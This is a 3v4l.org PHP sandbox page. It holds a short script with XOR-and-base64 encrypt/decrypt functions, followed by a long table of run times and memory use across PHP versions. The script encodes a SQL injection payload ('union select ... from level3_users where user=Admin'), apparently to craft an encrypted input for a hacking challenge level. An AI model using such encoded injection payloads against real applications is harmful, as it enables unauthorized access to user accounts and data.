3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4 from level3_users where user=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.43
8.3.50.0110.00821.93
8.3.40.0150.00618.79
8.3.30.0110.00318.99
8.3.20.0030.00520.38
8.3.10.0040.00422.16
8.3.00.0080.00022.34
8.2.180.0140.00416.48
8.2.170.0140.00722.96
8.2.160.0140.00020.35
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0110.00326.16
8.2.120.0040.00417.75
8.2.110.0120.00619.21
8.2.100.0070.00719.64
8.2.90.0080.00019.22
8.2.80.0000.00818.04
8.2.70.0030.00617.63
8.2.60.0000.00818.16
8.2.50.0030.00518.07
8.2.40.0050.00318.22
8.2.30.0070.00018.28
8.2.20.0040.00417.73
8.2.10.0030.00519.57
8.2.00.0000.00817.72
8.1.280.0140.00025.92
8.1.270.0080.00022.10
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0060.00321.20
8.1.230.0040.00819.12
8.1.220.0000.00917.74
8.1.210.0030.00518.77
8.1.200.0030.00617.25
8.1.190.0060.00317.39
8.1.180.0080.00018.10
8.1.170.0060.00318.47
8.1.160.0040.00422.04
8.1.150.0000.00718.66
8.1.140.0040.00417.43
8.1.130.0000.00717.87
8.1.120.0030.00517.45
8.1.110.0050.00217.43
8.1.100.0000.00817.43
8.1.90.0040.00417.48
8.1.80.0040.00417.48
8.1.70.0070.00017.39
8.1.60.0070.00317.62
8.1.50.0040.00417.45
8.1.40.0040.00417.55
8.1.30.0050.00217.64
8.1.20.0000.01017.65
8.1.10.0000.00817.59
8.1.00.0060.00317.50
8.0.300.0050.00318.77
8.0.290.0080.00017.18
8.0.280.0070.00018.41
8.0.270.0040.00417.30
8.0.260.0000.00616.88
8.0.250.0000.00716.90
8.0.240.0030.00617.01
8.0.230.0040.00416.90
8.0.220.0030.00516.89
8.0.210.0030.00316.89
8.0.200.0060.00016.91
8.0.190.0040.00416.96
8.0.180.0040.00417.02
8.0.170.0000.00716.86
8.0.160.0040.00416.94
8.0.150.0070.00016.98
8.0.140.0050.00316.89
8.0.130.0000.00613.37
8.0.120.0000.00816.82
8.0.110.0040.00416.91
8.0.100.0000.00716.97
8.0.90.0040.00416.98
8.0.80.0040.01116.95
8.0.70.0040.00416.87
8.0.60.0040.00416.89
8.0.50.0040.00416.94
8.0.30.0130.00817.14
8.0.20.0050.01717.40
8.0.10.0030.00316.86
8.0.00.0090.01116.82
7.4.330.0000.00515.02
7.4.320.0060.00016.54
7.4.300.0000.00716.46
7.4.290.0000.00716.66
7.4.280.0070.00016.56
7.4.270.0050.00316.65
7.4.260.0070.00016.52
7.4.250.0000.00716.56
7.4.240.0050.00216.51
7.4.230.0030.00316.43
7.4.220.0080.00916.54
7.4.210.0060.00816.63
7.4.200.0070.00016.60
7.4.190.0000.00716.36
7.4.160.0140.00316.55
7.4.150.0080.00917.40
7.4.140.0090.01217.86
7.4.130.0060.01116.60
7.4.120.0070.01116.65
7.4.110.0190.00316.59
7.4.100.0200.00616.32
7.4.90.0110.00616.55
7.4.80.0030.01519.39
7.4.70.0060.01016.38
7.4.60.0030.02116.68
7.4.50.0030.00516.54
7.4.40.0060.00622.77
7.4.30.0030.01216.35
7.4.00.0070.01014.93
7.3.330.0070.00013.33
7.3.320.0030.00313.33
7.3.310.0040.00416.37
7.3.300.0000.00616.36
7.3.290.0060.01016.43
7.3.280.0070.00916.42
7.3.270.0110.00617.40
7.3.260.0170.00916.41
7.3.250.0110.00616.47
7.3.240.0030.01416.63
7.3.230.0170.00016.51
7.3.210.0090.00916.74
7.3.200.0030.01919.39
7.3.190.0090.00916.41
7.3.180.0160.00616.39
7.3.170.0030.01216.36
7.3.160.0080.00816.46
7.3.120.0120.00314.97
7.2.330.0130.00416.75
7.2.320.0030.01516.57
7.2.310.0060.01316.77
7.2.300.0140.01016.43
7.2.290.0090.00616.80
7.2.00.0070.00719.23
7.1.100.0130.00318.30
7.1.70.0030.00717.09
7.1.60.0090.01519.82
7.1.50.0040.01816.65
7.1.00.0100.07022.40
7.0.200.0070.00016.64
7.0.140.0000.07722.09
7.0.60.0170.07319.88
7.0.50.0030.04017.89
7.0.40.0100.07020.21
7.0.30.0400.07020.33
7.0.20.0270.08720.23
7.0.10.0230.09020.10
7.0.00.0170.03720.10
5.6.280.0070.07021.16
5.6.210.0170.07320.48
5.6.200.0070.06718.14
5.6.190.0070.08720.57
5.6.180.3000.04320.67
5.6.170.0170.04020.55
5.6.160.0030.05720.43
5.6.150.0030.04318.16
5.6.140.0070.08018.29
5.6.130.0170.04318.23
5.6.120.0130.07720.91
5.6.110.0070.07020.96
5.6.100.0000.09020.98
5.6.90.0030.07020.88
5.6.80.0100.05020.38
5.6.70.0430.07020.40
5.5.350.0070.08020.30
5.5.340.0100.07717.99
5.5.330.0130.03320.25
5.5.320.0300.07320.34
5.5.310.0330.03320.20
5.5.300.0000.05718.07
5.5.290.0000.05317.98
5.5.280.0100.03320.96
5.5.270.0070.03720.98
5.5.260.0030.06720.89
5.5.250.0000.06020.79
5.5.240.0070.07720.30
5.4.450.0530.06319.39
5.4.440.0730.06319.61
5.4.430.0070.07319.38
5.4.420.0270.06019.31
5.4.410.0170.05019.25
5.4.400.0900.00018.79
5.4.390.0930.00018.73
5.4.380.0370.06318.59
5.4.370.0270.05318.55
5.4.360.0330.04018.80
5.4.350.0200.05318.62
5.4.340.0200.05018.57
5.4.320.0080.04012.51
5.4.310.0060.03712.50
5.4.300.0080.03812.50
5.4.290.0050.03812.50
5.4.280.0070.04412.40
5.4.270.0270.05718.91
5.4.260.0130.06719.07
5.4.250.0230.06018.96
5.4.240.0270.05718.98
5.4.230.0070.05318.94
5.4.220.0230.06718.80
5.4.210.0170.04318.98
5.4.200.0100.05318.91
5.4.190.0100.07018.75
5.4.180.0070.07318.99
5.4.170.0170.06319.06
5.4.160.0070.05318.95
5.4.150.0170.05318.75
5.4.140.0070.05316.36
5.4.130.0100.05016.48
5.4.120.0130.04716.47
5.4.110.0100.07316.57
5.4.100.0170.04316.49
5.4.90.0100.05016.41
5.4.80.0130.06016.52
5.4.70.0130.05016.55
5.4.60.0070.07316.45
5.4.50.0100.04716.49
5.4.40.0000.05716.55
5.4.30.0070.05016.59
5.4.20.0270.05316.38
5.4.10.0030.08316.42
5.4.00.0070.05015.79
5.3.290.0100.04012.80
5.3.280.0170.05014.63
5.3.270.0030.05714.70
5.3.260.0100.08014.68
5.3.250.0030.07714.64
5.3.240.0000.08314.74
5.3.230.0100.05014.66
5.3.220.0030.06014.57
5.3.210.0070.05714.75
5.3.200.0100.07314.73
5.3.190.0100.04714.72
5.3.180.0100.07714.65
5.3.170.0200.06014.66
5.3.160.0100.07314.75
5.3.150.0100.07314.71
5.3.140.0170.05014.71
5.3.130.0070.08014.57
5.3.120.0100.07014.78
5.3.110.0170.06014.65
5.3.100.0100.05013.89
5.3.90.0000.05713.94
5.3.80.0030.05714.11
5.3.70.0170.05314.19
5.3.60.0200.06314.23
5.3.50.0070.05014.01
5.3.40.0070.07013.79
5.3.30.0100.04713.97
5.3.20.0070.06013.61
5.3.10.0100.04713.71
5.3.00.0130.05313.63
5.2.170.0100.05711.11
5.2.160.0070.04011.37
5.2.150.0100.03711.24
5.2.140.0100.03711.23
5.2.130.0070.03711.19
5.2.120.0100.03311.09
5.2.110.0000.04311.08
5.2.100.0000.06311.08
5.2.90.0170.04711.19
5.2.80.0130.03311.18
5.2.70.0130.04711.17
5.2.60.0030.05311.09
5.2.50.0070.04010.87
5.2.40.0000.04710.93
5.2.30.0070.04011.05
5.2.20.0030.04010.86
5.2.10.0100.04710.96
5.2.00.0070.04710.89
5.1.60.0070.03710.10
5.1.50.0100.0309.86
5.1.40.0070.0479.95
5.1.30.0100.04010.40
5.1.20.0070.03310.53
5.1.10.0070.04010.02
5.1.00.0030.05010.05
5.0.50.0030.0438.80
5.0.40.0070.0308.39
5.0.30.0130.0338.07
5.0.20.0030.0378.26
5.0.10.0100.0308.26
5.0.00.0100.0508.16
4.4.90.0000.0336.57
4.4.80.0030.0206.57
4.4.70.0070.0236.57
4.4.60.0030.0206.57
4.4.50.0130.0176.57
4.4.40.0100.0436.57
4.4.30.0000.0236.57
4.4.20.0100.0236.57
4.4.10.0170.0136.57
4.4.00.0070.0306.57
4.3.110.0030.0206.57
4.3.100.0030.0206.57
4.3.90.0000.0236.57
4.3.80.0000.0376.57
4.3.70.0100.0236.57
4.3.60.0000.0376.57
4.3.50.0030.0306.57
4.3.40.0030.0606.57
4.3.30.0070.0276.57
4.3.20.0000.0306.57
4.3.10.0000.0306.57
4.3.00.0130.0206.13

preferences:
40.15 ms | 401 KiB | 5 Q